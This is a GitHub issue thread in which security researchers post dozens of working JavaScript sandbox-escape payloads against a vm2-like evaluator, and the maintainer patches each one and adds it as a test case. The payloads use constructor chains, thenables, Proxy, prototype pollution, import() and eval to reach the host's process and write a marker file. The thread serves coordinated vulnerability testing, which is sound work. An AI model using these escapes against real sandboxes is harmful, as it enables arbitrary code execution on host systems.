-
Notifications
You must be signed in to change notification settings - Fork 0
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
escape camp #2
Comments
@j4k0xb fixing it, come back to you soon ANYWAY, trying to find and fix problem is NEVER annoying. |
Promise and Symbol is not needed inside sandbox, so a change to js is patched. hope you still have interest to crack it @j4k0xb
|
async function f() {}
void (async () => {
await f();
await f();
this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned", "");
})(); const Symbol = Object.getOwnPropertySymbols(Array)[0].constructor;
const customInspectSymbol = Symbol.for({
toString: () => "nodejs.util.inspect.custom",
});
throw {
[customInspectSymbol]: () => {
this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned", "");
},
}; |
all set @j4k0xb
|
The vulnerable part is the "process" in the global. Once we hide it before sandbox and restore afterwards, then we still hold the flag. Unless the prisoner can find a new way to delay the pawn, we can checkmate with our sword "setTimeout 1" at the end. Still waiting challenge (codes will be clearned up later...) |
removing globals introduced yet another vulnerability 😉 Object.defineProperty(
this.constructor.constructor("return this")(),
"process",
{
set(process) {
process.mainModule.require("fs").writeFileSync("pwned", "");
},
}
); |
great! reply you later
|
It tested ok if add 'Object' in the More to removed in sandbox. But this is not a good solution, I'll try to investigate more tomorrow |
Can also get |
I hope I am still allowed to post my attack too. const code = "import('fs').then(m=>m.writeFileSync('pwned', '')).then(o, r)";
const funcCtor = import('').catch(_=>_).constructor.constructor;
const func = funcCtor.bind(null, 'o', 'r', code);
const obj = {};
obj.__defineGetter__("then", func);
obj and a simplified version: throw {toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")}; |
all your cases is done. @XmiliaH @j4k0xb the Sandbox still stand... keep going!
|
almost same as before ({}).constructor.defineProperty(
this.constructor.constructor("return this")(),
"_process",
{
set(process) {
process.mainModule.require("fs").writeFileSync("pwned", "");
},
}
); new way: new Proxy((_) => _, {
get: new Proxy((_) => _, {
apply: function (target, thisArg, args) {
args.constructor
.constructor("return process")()
?.mainModule.require("fs")
.writeFileSync("pwned", "");
},
}),
}); |
both new cases are good inspiration, it do take me some time to write the test code, and they are fixed now! thank you very much for the kind patience!!
|
while waiting for new challenge, I made a cleanup.
test
|
const hostGlobal = this.constructor.constructor("return this")();
hostGlobal.Promise = function (executor) {
return new Promise(executor).then(() => {
hostGlobal.process.mainModule.require("fs").writeFileSync("pwned", "");
});
}; |
done! case H is added for your case. @j4k0xb in the mean time, I'am trying to find the case that using Symbol to reflect sort of Promise/Proxy...
TEST
|
const promise = import('').catch(_=>_);
const oldThen = promise.__proto__.then;
const global = oldThen.constructor('return this')();
promise.__proto__.then = function() {
if (global.process) {
global.process.mainModule.require("fs").writeFileSync("pwned", "");
promise.__proto__.then = oldThen;
}
return oldThen.apply(this, arguments);
};
1 and eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))") |
@XmiliaH thank you very much! Now ok by banning the the import(), eval() and restore of Promise.prototype.then kinda dirty, but still stand! Plz see test cases IIII and JJJJ below...
TEST
|
Reflect.defineProperty(Function.prototype, 'then', {
get() {
this();
}
});
Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))") |
these two Reflect/Function are suppose to be easy, as they should not be in sandbox. Will band them too. Update code soon @XmiliaH |
@XmiliaH done with test K and L. BTW, is it possible to inject Function.prototype?
TEST CASE K and L
|
Sorry, I do not get what you mean by
const Function = (_=>_).constructor;
Object.defineProperty(Function.prototype, 'then', {
get() {
this();
}
});
Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))") and this.__proto__.__defineGetter__('',function(){ this.process?.mainModule.require("fs").writeFileSync("pwned", "")}) |
Great this is exactly what I mean... Let me investigate, thanks
|
done with test case M and N. @XmiliaH
TEST
|
const Function = (_=>_).constructor;
const obj = {
get then() {
Object.defineProperty(this, 'then', {
get: Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")
});
Object.setPrototypeOf(this, import('').catch(_=>_).constructor);
}
};
obj this.constructor.prototype.__defineGetter__('',function(){ this.process?.mainModule.require("fs").writeFileSync("pwned","") }) |
done. code: https://github.com/wanjo-tech/vm2/blob/main/jevalx.js test: https://github.com/wanjo-tech/vm2/blob/main/test_jevalx.js
|
Object.getPrototypeOf(Object.getPrototypeOf(import('').catch(_=>_))).__defineGetter__('',function(){ this.process?.mainModule.require("fs").writeFileSync("pwned","") }) and const Function = (_=>_).constructor;
const proto = {};
Object.defineProperty(proto, 'then', {
get: Function.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")
});
const obj = {
__proto__: proto
};
obj |
h=console.log;
c=10;
h.call.bind=h.bind;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:h.call.bind(h.call,f,0)}
f();
1 |
done s16
|
h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[f].map(h.bind,h.call)[0]}
f();
1 |
done s17;
|
h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.call)[0]}
f();
1 |
done s18;
|
h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.apply)[0]}
f();
1 |
done s19;
|
f=m=>m.writeFileSync('pwned','');
h=console.log;
import('').then.call=h.bind.call(eval, null,"import('fs').then(h.call.bind(h.call,f,0))");
1 |
done s20
|
h=console.log;
c=10;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.apply)[0]}
f();
throw 1; |
thanks, rollback the line of Promise_prototype_catch.call() (will do it later for that warning-message) ok for now
|
h=console.log;
c=10;
import('').catch.call=1;
f=async()=>c--==0?h.constructor('return process')().mainModule.require("fs").writeFileSync("pwned",""):await{then:[_=>f()].map(h.bind,h.apply)[0]}
f();
throw 1; |
thanks, test case s24/s25 added. done now;
|
g=m=>m.writeFileSync('pwned','');
h=console.log;
c=10;
f=async()=>c--==0?(import('').then.call=h.bind.call(eval, null,"import('fs').then(h.call.bind(h.call,g,0))")):await{then:[_=>f()].map(h.bind,h.apply)[0]}
f();
1 |
Hi, added case s26 for this. but didn't see pwned file this time.
|
throw{get code(){try{console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch{throw this}}} |
done s27
|
throw((a=[1]).map=_=>a[0]-->0?a:{get code(){console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}},a); |
done s28
|
h=console.log;
(a=[1]).map=_=>a;
x=h.call.bind(a.then=r=>{
a.then=1;
r(a);
try{console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch{a.then=x}
},0);
a |
done (s29,s30)
|
h=console.log;
(a=[1]).map=_=>a;
a.then=r=>(x=[(_,r)=>{
console.log(_, r);
a.then=1;
r(a);
try{console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch{a.then=x}
}].map(h.bind,h.call)[0])(r);
a |
done s31
|
I will stop posting breakouts as it got boring. This does not mean that this is now secure. There are still breakouts. Not even speaking about the prototype pollution problems. Here is the last one from me: h=console.log;
Array.prototype.push=function(){this.then=r=>(x=[(_,r)=>{
this.then=1;
r(this);
try{console.log.constructor('return process')().mainModule.require("fs").writeFileSync("pwned","")}catch{this.then=x}
}].map(h.bind,h.call)[0])(r)};
[1] |
OK, thank you very much! just one more question, may I know the prototype pollution problem refer to "prototype" or "__proto__"? Because the __proto__ seems already prevent by using defineProperty()
|
First of all, Another way is to get a host error. Here in the thread were cases of e.g., RangeError and get the prototype there via Furthermore, I would also count Also the |
Thank you again for the details all along I did remove some code after test so-called passed, I'll try to improve the test skill and fix the problems you mentioned. Have a nice day.
|
The text was updated successfully, but these errors were encountered: